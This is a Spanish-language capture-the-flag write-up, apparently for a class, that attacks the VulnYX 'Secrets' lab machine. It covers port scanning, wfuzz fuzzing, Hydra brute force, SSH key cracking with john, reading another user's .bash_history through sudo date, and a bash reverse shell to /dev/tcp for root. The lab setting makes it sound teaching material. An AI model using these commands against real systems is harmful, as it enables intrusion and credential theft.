Writeup - Máquina Secrets (VulnYX)

Resolución completa de la máquina Secrets de VulnYX. Video arriba con el paso a paso, resumen técnico abajo.

1. Setup

Importar el .ova en VirtualBox y conectar el adaptador a red SEGINFO (la red NAT del primer writeup, ver Wicca si no está armada).

MáquinaIP
Kali10.0.3.5
Secrets10.0.3.9

2. Enumeración

Primero un escaneo rápido de todos los puertos:

sudo nmap -p- --open -T5 -v -n -Pn 10.0.3.9

Aparecen abiertos 22 y 80. Sobre esos dos, escaneo de servicios:

sudo nmap -sV -p22,80 -v 10.0.3.9
  • 22/tcp (OpenSSH)
  • 80/tcp (Apache httpd 2.4.8)

Entrando a http://10.0.3.9/ aparece un mensaje pidiendo “decir un secreto”. En el código fuente se menciona a un tal Brad (futuro usuario).

3. Fuzzing de directorios con wfuzz

Para encontrar rutas no listadas:

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
      -u http://10.0.3.9/FUZZ \
      --hc 404

La salida está llena de respuestas con 68 líneas (página por defecto, ruido). Las filtramos con --hl 68:

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
      -u http://10.0.3.9/FUZZ \
      --hc 404 --hl 68

Aparece un 301 a /secrets/. Visitamos esa ruta y otra vez nos pide un secreto, sin más información.

4. Fuzzing de archivos PHP/TXT

Apache + PHP, así que buscamos archivos con dos variables (ruta y extensión):

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
      -w /usr/share/wordlists/extensions/php-txt.txt \
      -u http://10.0.3.9/secrets/FUZZ.FUZ2Z \
      --hc 404

Ahora el ruido es de 19 líneas, así que añadimos --hl 19 y aparece un 200 en login_form.php:

http://10.0.3.9/secrets/login_form.php

5. Login + Hydra

El formulario pide usuario y contraseña. Probando brad / brad y brad / 1234 devuelve “Invalid Credentials”. Interceptando con Burp Suite hay un detalle clave: el form no postea a sí mismo, postea a un archivo con nombre random tipo MK67IT044XYGGIIWLGS9.php. Ese nombre no aparece en el fuzzing, solo se ve interceptando la petición real:

POST /secrets/MK67IT044XYGGIIWLGS9.php
user=brad&password=...

Si le tiramos Hydra a login_form.php no va a funcionar. Hay que apuntarle al endpoint real y al parámetro real (password, no pass):

# Si rockyou está comprimido, descomprimir primero:
gunzip /usr/share/wordlists/rockyou.txt.gz

hydra -V -t 50 \
      -l brad \
      -P /home/kali/Desktop/rockyou.txt \
      10.0.3.9 \
      http-form-post "/secrets/MK67IT044XYGGIIWLGS9.php:user=^USER^&password=^PASS^:Invalid Credentials" \
      -f -I

Notas del comando:

  • -V activa verbose y muestra cada intento.
  • -t 50 usa 50 conexiones en paralelo.
  • -f corta apenas encuentre la primera credencial válida.
  • -I ignora sesiones previas.
  • En el módulo http-form-post, el body del POST va después de los :, y la última parte (Invalid Credentials) es el patrón que NO debe aparecer en una respuesta válida.

Resultado: brad : bradley.

6. IP en decimal y captura con Wireshark

Tras el login el sitio pide una IP, solo números. Eso es la IP en formato decimal entero (cada octeto son 8 bits, un solo entero de 32 bits). Para 10.0.3.5 se puede usar cualquier conversor online o:

python3 -c "import ipaddress; print(int(ipaddress.IPv4Address('10.0.3.5')))"
# 167772933

Antes de mandar la IP, levantamos Wireshark escuchando en eth1 (filtro tcp.flags.syn == 1) para ver si la máquina hace algo hacia nosotros. Al enviar el secreto, llega un SYN desde 10.0.3.9 hacia 10.0.3.5 al puerto 6666.

Levantamos un netcat en ese puerto y volvemos a enviar la IP:

nc -lvnp 6666

Recibimos una clave privada RSA encriptada con passphrase.

7. Crackeo de la clave SSH (ssh2john + john)

Guardamos la clave como rsa.key y la pasamos al formato que entiende John the Ripper:

locate ssh2john          # /usr/share/john/ssh2john.py en algunas distros
ssh2john rsa.key > rsa.hash

john --wordlist=/home/kali/Desktop/rockyou.txt rsa.hash

Passphrase: security.

8. SSH como brad y user.txt

chmod 600 rsa.key
mv rsa.key id_rsa
ssh -i id_rsa brad@10.0.3.9
# passphrase: security

Adentro:

cat user.txt        # primera flag
sudo -l

sudo -l muestra que brad puede correr /usr/bin/date como fabian sin contraseña.

9. Lateral a Fabián vía date (GTFOBins)

Buscamos date en GTFOBins y permite leer archivos arbitrarios con -f.

Truco clásico: leer el .bash_history del usuario destino. Muchas veces queda guardado el comando en el que se cambió la contraseña con la contraseña en texto plano:

sudo -u fabian /usr/bin/date -f /home/fabian/.bash_history

En la salida aparece la línea donde Fabián se cambió el password y, sí, ahí está la clave en plano. Cambiamos de usuario:

su fabian
# password: S3cr3t$$$L0v3$$$

10. Escalada a root con sudo jed

Como Fabián, otra vez sudo -l y aparece /usr/bin/jed como root sin password. jed es un editor de texto medio antiguo, estilo emacs, con menú navegable por F10. No tiene entrada en GTFOBins, pero el menú System > Shell Command permite ejecutar comandos arbitrarios como root.

sudo jed
# F10 > System > Shell Command

Como la shell interna del menú es bastante limitada, en vez de pelear con ella mandamos una reverse shell.

En Kali:

nc -lvnp 2674

En Shell Command (corriendo bajo sudo):

bash -c 'bash -i >& /dev/tcp/10.0.3.5/2674 0>&1'

Recibimos la conexión como root:

whoami       # root
cat /root/root.txt

Y de paso recogemos la user.txt de Brad si quedó pendiente:

cat /home/brad/user.txt

Resumen del ataque

  1. nmap -p- y luego nmap -sV sobre 22 y 80.
  2. wfuzz de directorios encuentra /secrets/.
  3. wfuzz con dos diccionarios y extensiones encuentra login_form.php.
  4. Burp revela que el POST va a un endpoint random (MK67IT044XYGGIIWLGS9.php).
  5. Hydra http-form-post apuntando al endpoint real con rockyou da brad:bradley.
  6. La app pide IP en decimal (SSRF), Wireshark detecta callback al puerto 6666.
  7. nc -lvnp 6666 recibe la RSA key encriptada.
  8. ssh2john y john con rockyou sacan la passphrase security.
  9. SSH como brad y user.txt.
  10. sudo -l permite /usr/bin/date como fabian, leer .bash_history (GTFOBins) saca el password de Fabián.
  11. sudo -l como Fabián habilita jed, System > Shell Command, reverse shell, root.txt.

Dos flags. Cualquier consulta sobre el writeup, me la hacen llegar y la respondo. Nos vemos en clases.